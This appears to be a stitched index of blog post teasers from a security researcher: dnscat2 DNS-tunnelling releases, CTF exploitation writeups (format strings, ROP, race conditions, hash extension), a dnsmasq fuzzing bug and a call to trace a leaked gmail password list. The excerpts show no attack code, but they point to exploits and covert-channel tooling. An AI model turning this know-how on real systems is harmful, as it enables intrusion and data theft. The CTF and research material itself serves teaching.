Some of you will remember that I recently gave a talk at the SANS Hackfest Summit. At the talk, I mentioned some ideas for future plans. That's when Ed jumped on the stage and took a survey: which feature did the audience want most?

The winner? Tunneling TCP via a dnscat. So now you have it! Tunneling: Phase 1. :)

Info and downloads.
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SANS Hackfest writeup: Hackers of Gravity

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Last weekA few weeks ago, SANS hosted a private event at the Smithsonian's Air and Space Museum as part of SANS Hackfest. An evening in the Air and Space Museum just for us! And to sweeten the deal, they set up a scavenger hunt called "Hackers of Gravity" to work on while we were there!

We worked in small teams (I teamed up with Eric, who's also writing this blog with me). All they told us in advance was to bring a phone, so every part of this was solved with our phones and Google.

Each level began with an image, typically with a cipher embedded in it. After decoding the cipher, the solution and the image itself were used together to track down a related artifact.

This is a writeup of that scavenger hunt. :)
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dnscat2: now with crypto!

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Hey everybody,

Live from the SANS Pentest Summit, I'm excited to announce the latest beta release of dnscat2: 0.04! Besides some minor cleanups and UI improvements, there is one serious improvement: all dnscat2 sessions are now encrypted by default!

Read on for some user information, then some implementation details for those who are interested! For all the REALLY gory information, check out the protocol doc!
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Why DNS is awesome and why you should love it

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It's no secret that I love DNS. It's an awesome protocol. It's easy to understand and easy to implement. It's also easy to get dangerously wrong, but that's a story for last weeka few weeks ago. :)

I want to talk about interesting implication of DNS's design decisions that benefit us, as penetration testers. It's difficult to describe these decisions as good or bad, it's just what we have to work with.

What I DON'T want to talk about today is DNS poisoning or spoofing, or similar vulnerabilities. While cool, it generally requires the attacker to take advantage of poorly configured or vulnerable DNS servers.

Technically, I'm also releasing a tool I wrote a couple weeks ago: dnslogger.rb that replaces an old tool I wrote a million years ago.
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How I nearly almost saved the Internet, starring afl-fuzz and dnsmasq

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If you know me, you know that I love DNS. I'm not exactly sure how that happened, but I suspect that Ed Skoudis is at least partly to blame.

Anyway, a project came up to evaluate dnsmasq, and being a DNS server - and a key piece of Internet infrastructure - I thought it would be fun! And it was! By fuzzing in a somewhat creative way, I found a really cool vulnerability that's almost certainly exploitable (though I haven't proven that for reasons that'll become apparent later).

Although I started writing an exploit, I didn't finish it. I think it's almost certainly exploitable, so if you have some free time and you want to learn about exploit development, it's worthwhile having a look! Here's a link to the actual distribution of a vulnerable version, and I'll discuss the work I've done so far at the end of this post.

You can also download my branch, which is similar to the vulnerable version (branched from it), the only difference is that it contains a bunch of fuzzing instrumentation and debug output around parsing names.
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Defcon quals: wwtw (a series of vulns)

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Hey folks,

This is going to be my final (and somewhat late) writeup for the Defcon Qualification CTF. The level was called "wibbly-wobbly-timey-wimey", or "wwtw", and was a combination of a few things (at least the way I solved it): programming, reverse engineering, logic bugs, format-string vulnerabilities, some return-oriented programming (for my solution), and Dr. Who references!

I'm not going to spend much time on the theory of format-string vulnerabilities or return-oriented programming because I just covered them in babyecho and r0pbaby.

And by the way, I'll be building the solution in Python as we go, because the first part was solved by one of my teammates, and he's a Python guy. As much as I hated working with Python (which has become my life lately), I didn't want to re-write the first part and it was too complex to do on the shell, so I sucked it up and used his code.

You can download the binary here, and you can get the exploit and other files involved on my github page.
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Defcon Quals: babyecho (format string vulns in gory detail)

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Welcome to the third (and penultimate) blog post about the 2015 Defcon Qualification CTF! This is going to be a writeup of the "babyecho" level, as well as a thorough overview of format-string vulnerabilities! I really like format string vulnerabilities - they're essentially a "read or write anywhere" primitive - so I'm excited to finally write about them!

You can grab the binary here, and you can get my exploit and some other files on this Github repo.
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Defcon Quals: Access Control (simple reverse engineer)

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Hello all,

Today's post will be another write-up from the Defcon CTF Qualifiers. This one will be the level called "Access Client", or simply "client", which was a one-point reverse engineering level. This post is going to be mostly about the process I use for reverse engineering crypto-style code - it's a much different process than reversing higher level stuff, because each instruction matters and it's often extremely hard to follow.

Having just finished another level (r0pbaby, I think), and having about an hour left in the competition, I wanted something I could finish quickly. There were two one-point reverse engineering challenges open that we hadn't solved: one was 64-bit and written in C++, whereas this one was 32-bit and C and only had a few short functions. The choice was easy. :)

I downloaded the binary and had a look at its strings. Lots of text-based stuff, such as "list users", "print key", and "connection id:", which I saw as a good sign!
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Defcon Quals: r0pbaby (simple 64-bit ROP)

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This past weekend I competed in the Defcon CTF Qualifiers from the Legit Business Syndicate. In the past it's been one of my favourite competitions, and this year was no exception!

Unfortunately, I got stuck for quite a long time on a 2-point problem ("wwtw") and spent most of my weekend on it. But I did do a few others - r0pbaby included - and am excited to write about them, as well!

r0pbaby is neat, because it's an absolute bare-bones ROP (return-oriented programming) level. Quite honestly, when it makes sense, I actually prefer using a ROP chain to using shellcode. Much of the time, it's actually easier! You can see the binary, my solution, and other stuff I used on this github repo.

It might make sense to read a post I made in 2013 about a level in PlaidCTF called ropasaurusrex. But it's not really necessary - I'm going to explain the same stuff again with two years more experience!
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dnscat2 beta release!

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As I promised during my 2014 Derbycon talk (amongst other places), this is an initial release of my complete re-write/re-design of the dnscat service / protocol. It's now a standalone tool instead of being bundled with nbtool, among other changes. :)

I'd love to have people testing it, and getting feedback is super important to me! Even if you don't try this version, hearing that you're excited for a full release would be awesome. The more people excited for this, the more I'm encouraged to work on it! In case you don't know it, my email address is listed below in a couple places.
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GitS 2015: Huffy (huffman-encoded shellcode)

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Welcome to my fourth and final writeup from Ghost in the Shellcode 2015! This one is about the one and only reversing level, called "huffy", that was released right near the end.

Unfortunately, while I thought I was solving it a half hour before the game ended, I had messed up some timezones and was finishing it a half hour after the game ended. So I didn't do the final exploitation step.

At any rate, I solved the hard part, so I'll go over the solution!
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GitS 2015: Giggles (off-by-one virtual machine)

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Welcome to part 3 of my Ghost in the Shellcode writeup! Sorry for the delay, I actually just moved to Seattle. On a sidenote, if there are any Seattle hackers out there reading this, hit me up and let's get a drink!

Now, down to business: this writeup is about one of the Pwnage 300 levels; specifically, Giggles, which implements a very simple and very vulnerable virtual machine. You can download the binary here, the source code here (with my comments - I put XXX near most of the vulnerabilities and bad practices I noticed), and my exploit here.

One really cool aspect of this level was that they gave source code, a binary with symbols, and even a client (that's the last time I'll mention their client, since I dislike Python :) )! That means we could focus on exploitation and not reversing!
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GitS 2015: aart.php (race condition)

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Welcome to my second writeup for Ghost in the Shellcode 2015! This writeup is for the one and only Web level, "aart" (download it). I wanted to do a writeup for this one specifically because, even though the level isn't super exciting, the solution was actually a pretty obscure vulnerability type that you don't generally see in CTFs: a race condition!

But we'll get to that after, first I want to talk about a wrong path that I spent a lot of time on. :)
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GitS 2015: knockers.py (hash extension vulnerability)

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As many of you know, last weekend was Ghost in the Shellcode 2015! There were plenty of fun challenges, and as always I had a great time competing! This will be my first of four writeups, and will be pretty simple (since it simply required me to use a tool that already exists (and that I wrote :) ))

The level was called "knockers". It's a simple python script that listens on an IPv6 UDP port and, if it gets an appropriately signed request, opens one or more other ports. The specific challenge gave you a signed token to open port 80, and challenged you to open up port 7175. The service itself listened on port 8008 ("BOOB", to go with the "knockers" name :) ).

You can download the original level here (Python).
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Call for help: researching the recent gmail password leak

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Hey folks,

You probably heard this week about 5 million @gmail.com accounts posted. I've been researching it independently, and was hoping for some community help (this is completely unrelated to the fact that I work at Google - I just like passwords).

I'm reasonably sure that the released list is an amalgamation of a bunch of other lists and breaches. But I don't know what ones - that's what I'm trying to find out!

Which brings me to how you can help: people who can recognize which site their password came from. I'm trying to build a list of which breaches were aggregated to create this list, in the hopes that I can find breaches that were previously unreported!

If you want to help:

      1. Check your email address on https://haveibeenpwned.com/
      2. If you're in the list, email ihazhacked@skullsecurity.org from the associated account
      3. I'll tell you the password that was associated with that account
      4. And, most importantly, you tell me which site you used that password on!

In a couple days/weeks (depending on how many responses I get), I'll release the list of providers!

Thanks! And, as a special 'thank you' to all of you, here are the aggregated passwords from the breach! And no, I'm not going to release (or keep) the email list. :)

Opening the mysterious hatch of mystery

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Every once in awhile, I like to post something random here. This is another one of those times. If you want some real security info, move along now. :)

This is a story about a random locked hatch I found in the middle of a field. Originally it was just neat, but after the "Safe" incident and the creating of /r/whatsinthisthing, I realized I had to learn more. What did it contain? Tunnels? Treasure? Dragons? A valve? I didn't know, but I had to find out!

(spoiler: it wasn't a dragon)
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